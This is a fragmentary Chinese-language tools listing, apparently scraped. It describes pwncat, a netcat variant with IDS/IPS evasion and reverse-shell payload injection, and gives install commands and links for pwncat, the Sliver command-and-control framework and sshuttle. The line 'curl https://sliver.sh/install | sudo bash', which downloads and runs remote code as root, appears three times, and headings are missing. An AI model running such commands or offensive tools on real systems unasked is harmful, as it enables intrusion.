pwncat（cytopia 开发）是一款用 Python 编写的增强型 netcat 实现。它有四种运行模式：连接（connect）、监听（listen）、零 I/O（端口扫描）和转发（本地/远程端口转发）。除基本 netcat 功能外，pwncat 提供 IDS/IPS 规避技术、反向 Shell payload 自注入、用于数据操作的脚本钩子，以及保持连接、重连和基于 ping 的健康检查等高级连接管理功能。

sudo apt install pwncat

- [pwncat GitHub Repository (cytopia)](https://github.com/cytopia/pwncat)

- [pwncat Kali Tools Page](https://www.kali.org/tools/pwncat/)

# 通过官方安装脚本安装 curl https://sliver.sh/install | sudo bash

curl https://sliver.sh/install | sudo bash

curl https://sliver.sh/install | sudo bash

- [Sliver Documentation](https://sliver.sh/)

- [Sliver GitHub](https://github.com/BishopFox/sliver)

sudo apt install sshuttle